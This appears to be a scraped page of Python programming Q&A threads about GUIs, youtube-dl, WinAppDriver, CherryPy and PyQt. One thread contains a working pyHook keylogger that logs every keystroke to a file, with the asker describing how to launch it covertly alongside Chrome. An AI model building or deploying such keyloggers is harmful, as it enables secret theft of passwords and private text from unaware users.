Hide ffmpeg's console window when running YoutubeDL in GUI application - python

I'm developing a basic application which can download YouTube videos. Throughout the development, I had several quirks, including issues with formats.
I decided to use a hopefully foolproof format syntax that youtube-dl will happily download for me in almost any case.
Part of my YoutubeDL options look like this:
self.ydl_opts = {
'format': 'bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best',
'quiet': True,
'progress_hooks': [self.ydl_progress],
'outtmpl': None
}
The outtmpl is inserted later on when output folder is chosen by the user.
Since I'm using this format string, youtube-dl uses ffmpeg to merge(?) the audio and video if they are downloaded separately.
When it does that, it opens very annoying console windows that capture the focus and interrupt other things I might be doing while the videos are downloading.
My question is, how can I prevent ffmpeg or youtube-dl from creating those console windows from appearing, aka. how can I hide them?
EDIT:
I'll provide bare bones script that reproduces the problem:
from __future__ import unicode_literals
from PyQt4 import QtGui, QtCore
import youtube_dl, sys
def on_progress(info):
print info.get("_percent_str", "Finished")
ydl_opts = {
'format': 'bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best',
'progress_hooks': [on_progress],
'quiet': True,
'outtmpl': "C:/Users/Raketa/Desktop/%(title)s.%(ext)s"
}
ydl = youtube_dl.YoutubeDL(ydl_opts)
class DownloadThread(QtCore.QThread):
def __init__(self):
super(DownloadThread, self).__init__()
self.start()
def __del__(self):
self.wait()
def run(self):
print "Download start"
ydl.download(["https://www.youtube.com/watch?v=uy7BiiOI_No"])
print "Download end"
class Application(QtGui.QMainWindow):
def __init__(self):
super(Application, self).__init__()
self.dl_thread = DownloadThread()
def run(self):
self.show()
def main():
master = QtGui.QApplication(sys.argv)
app = Application()
app.run()
sys.exit(master.exec_())
if __name__ == '__main__':
main()
2(?) consoles appear at start of each download and 1 longer lasting console appears when both video and audio are downloaded. When downloading longer videos, the last console becomes unbearable.
Is it possible to get rid of those?

The problem is not really related to the code. In fact, it's more a "windows problem". If I run the code on my computer (which is a linux one), there's no problem. There's only one console (that one I used to launch the script).
I think that if you rename the file with .pyw, it will work. According to that link: How to hide console window in python?
On Windows systems, there is no notion of an “executable mode”. The Python installer automatically associates .py files with python.exe so that a double-click on a Python file will run it as a script. The extension can also be .pyw, in that case, the console window that normally appears is suppressed.
That would solve your problem
(If not, maybe you could run the code in a console (and not double-clicking on the file browser) to see where the problem comes from and give me some feedback :))

Related

WinAppDriver, clickOnce application launches a dialog - issues finding the app

I'm looking at using Python and WinAppDriver to automate a clickonce application.
When the application starts, I get a dialog with a yes and no button on screen.
from appium import webdriver
class TestStuff(unittest.TestCase):
#classmethod
def setUpClass(self):
#set up appium
desired_caps = {}
desired_caps["app"] = r"<path to .appref-ms>"
self.driver = webdriver.Remote(command_executor='http://127.0.0.1:4723',desired_capabilities= desired_caps)
#classmethod
def tearDownClass(self):
self.driver.quit()
def test_initialize(self):
self.driver.find_element_by_name("No").click()
if __name__ == '__main__':
suite = unittest.TestLoader().loadTestsFromTestCase(TestStuff)
unittest.TextTestRunner(verbosity=2).run(suite)
Now, when I run this script, I see my application launch - but then after a few seconds, I get an error **Failed to locate opened application window with appId: < path to the appref-ms > **
Not sure if this is an issue as a dialog is launching first, rather than the application? But can anyone suggest any other way to attach to the running application?
After a bit of digging about, I think I found what is wrong - this is to help in case any others get into this pickle.
So first, I've found a few places which say ClickOnce applications aren't supported.
So I decided to abandon executing the appref-ms and put in an .exe
This worked, but would throw a .NET error when I clicked on any buttons.
Launching the app from the command line was working also, I could not figure out why.
So I went back to the command line and tried to launch my app with the fully qualified path as the code does - click a button, .NET error.
It turns out you also need to add the "appWorkingDirectory" capability. Also (and this was my misunderstanding) you need to keep the full path in the launcher - I thought since I had the working directory set, I could just put the exe name - this was wrong.)

Open documents in the browser

I am using the following code (within Cherrypy) to open a file on the network share. (http://localhost:8080/g?filename=filename.docx)
This seems to work fine, but when I open a file, for example a Word document, Word is opening behind the current browser window.
How to open a link and focus on the window?
import os
import cherrypy
import webbrowser
class StringGenerator(object):
#cherrypy.expose
def index(self):
return "Hello world!"
#cherrypy.expose
def g(self, filename):
webbrowser.open(r'\\computer\share\filename.docx', new=2, autoraise=True)
if __name__ == '__main__':
cherrypy.quickstart(StringGenerator())
You can use pywin32 libraries. For example:
import win32com.client
import win32gui
import win32process
hwnd = win32gui.GetForegroundWindow()
_, pid = win32process.GetWindowThreadProcessId(hwnd)
shell = win32com.client.Dispatch("WScript.Shell")
shell.AppActivate('filename.docx')
The documentation states (in part):
Note that on some platforms, trying to open a filename using this function, may work and start the operating system’s associated program. However, this is neither supported nor portable.
The last part of that comment is the problem. In fact, in reviewing the source code, it appears that on some systems a system specific command is called which opens the default program by file type. As the default program for a Word document is MS Word, the file will be opened in that program. As the default program for a web page is a browser, a web page will be opened in the default browser.
However, you can tell webbroswer to use a specific program. See this answer for how to do that.

Pickling a dict inside a PyQt app

I'm attempting to dump a pickle file in my PyQt app only its seems to be completely ignoring the statement.
import cPickle as pickle
class MyActions(QtGui.QMainWindow):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
#Create blank dictionary and save it.
self.employee_dict = {}
pickle.dump(self.employee_dict, open("pickle file", 'wb'))
self.ui = Ui_MainWindow()
self.ui.setupUi(self)
QtCore.QObject.connect(self.ui.pushButton, QtCore.SIGNAL('clicked()'), self.emp_display )
QtCore.QObject.connect(self.ui.pushButton_2, QtCore.SIGNAL('clicked()'), self.admin_display)
am i doing something wrong here or is pickle just not compatible with dumping dictionaries in side a PyQt gui.
Even though your question doesn't have enough information to go on, I'm willing to bet I know the answer.
You're creating a file called pickle file in whatever the current directory happens to be.
Then you're going and looking for the pickle file right next to the script, which is in general not going to be the current directory.
In the special case where you're running a script from the command line as ./foo.py or python ./foo.py, of course, the two happen to be the same. But when you double-click a PyQt app, it's… well, that depends on what platform you're on, and a variety of Explorer/Finder/Nautilus/etc. settings (either global, or per-app), but it's generally not going to be the same place the script is.
If you just want to force it to write the file next to the script (which is usually a bad idea), you can save the script directory at startup, like this:
import os
import sys
scriptdir = os.path.dirname(sys.argv[0])
Then, instead of writing to 'pickle file', you can write to os.path.join(scriptdir, 'pickle file').
However, a better solution is to use a platform-appropriate "app data" directory or "home" or "documents" directory (depending on whether you want the file to be visible to novice users); Qt has nice wrappers that make it easy to do that in the platform-appropriate way with platform-independent code.

Trouble opening PYTHON keylogger with the launching of an external program?

Sorry for the ignorance, but I could not find a solution!! p.s.: I'm "hacking to learn and
not learning to hack" -Tinkernut (youtube_channel)
I had a simple keylogger.pyw and a notepad batch file so that when I clicked on a specific browser it would open both the browser and the keylogger (I altered the path to the browser's shortcut so that it would open the batch file).
Is it possible to do this without having to write an external batch file, and to compile the program so that it runs on the computer without python installed on WINDOWS platform 7 and 8?
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Users\\...\\Documents\\log.txt'
def OnKeyboardEvent (event) :
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager ()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
import os
print os.system('C:\\Users\\...\\Google\\Chrome\\Application\\chrome.exe')
I'm not sure about this. But, one thing that can help you is if u r converting python to windows executable, then bind those 2 programs (Your windows Exe file and + the program u want to run ) using binder.

How to display an image and prompt for a short string in Python from command line

(I edited the whole question to be more clear)
Hello,
I have never had any affairs with Python GUI libraries. I know there are plenty and well documented, but as I need only one single snippet, I would dislike to dive deep into documentations to seek for a way how to do it. If I am going to write a GUI program, I surely would do that, but this is needed only as a few lines for my ad hoc script.
What would be the easiest and the most straightforward way for me (GUI noob) to write in Python following piece of code? Less lines = more happiness.
Grab a JPEG picture by filename.
Display it's thumbnail.
Below the thumbnail display a textfield so the user can type in a caption.
Wait until user hits ENTER key on his/her keyboard. In that case, close and return the input.
...or wait until user hits DELETE key. In that case, close and return an information about the decision (to delete the picture).
Dependencies or Linux-only solutions are okay. I need to run this on Xubuntu machine. Any code snippets, please? I believe this is a matter of 5 minutes for someone skilled in Python GUI field. I would need to study loads of library docs. Thank you!
Below is a minimal python script that more or less fits the spec.
It requires python2 and pyqt4 packages to be installed, and it won't work with python3 (although it could quite easily be adapted to do so if necessary).
If the user types in a valid caption and presses enter, the script will return with status code 0 and print the caption to stdout; otherwise, if the user enters an invalid caption (empty or whitespace only), or simply closes the dialog without doing anything, the script will return with status code 1 and print nothing.
example bash usage:
$ CAPTION=$(python imgviewer.py image.jpg)
$ [ $? -eq 0 ] && echo $CAPTION
imgviewer.py:
import sys, os
from PyQt4 import QtGui, QtCore
class Dialog(QtGui.QDialog):
def __init__(self, path):
QtGui.QDialog.__init__(self)
self.viewer = QtGui.QLabel(self)
self.viewer.setMinimumSize(QtCore.QSize(400, 400))
self.viewer.setScaledContents(True)
self.viewer.setPixmap(QtGui.QPixmap(path))
self.editor = QtGui.QLineEdit(self)
self.editor.returnPressed.connect(self.handleReturnPressed)
layout = QtGui.QVBoxLayout(self)
layout.addWidget(self.viewer)
layout.addWidget(self.editor)
def handleReturnPressed(self):
if self.editor.text().simplified().isEmpty():
self.reject()
else:
self.accept()
if __name__ == '__main__':
app = QtGui.QApplication(sys.argv)
args = app.arguments()[1:]
if len(args) == 1:
dialog = Dialog(args[0])
if dialog.exec_() == QtGui.QDialog.Accepted:
print dialog.editor.text().simplified().toLocal8Bit().data()
sys.exit(0)
else:
print 'ERROR: wrong number of arguments'
sys.exit(1)
There are several good GUI libraries for Python. The "standard" library that comes built-in with python is tkinter:http://wiki.python.org/moin/TkInter. Some says that wxPython is much more powerful and straightforward: http://www.wxpython.org/.
I think that you can start with wxPython, they have many many tutorials and examples you can dig into (just run the DEMO).
They have an example called "ImageBrowser" which might be a very good starting point.
Regarding the communication between the different apps, you can use "pipes" and "redirections" to communicate. But if everything is written in python, I think this is the wrong way to go, you can show the image form within your python script and get the result internally.

Categories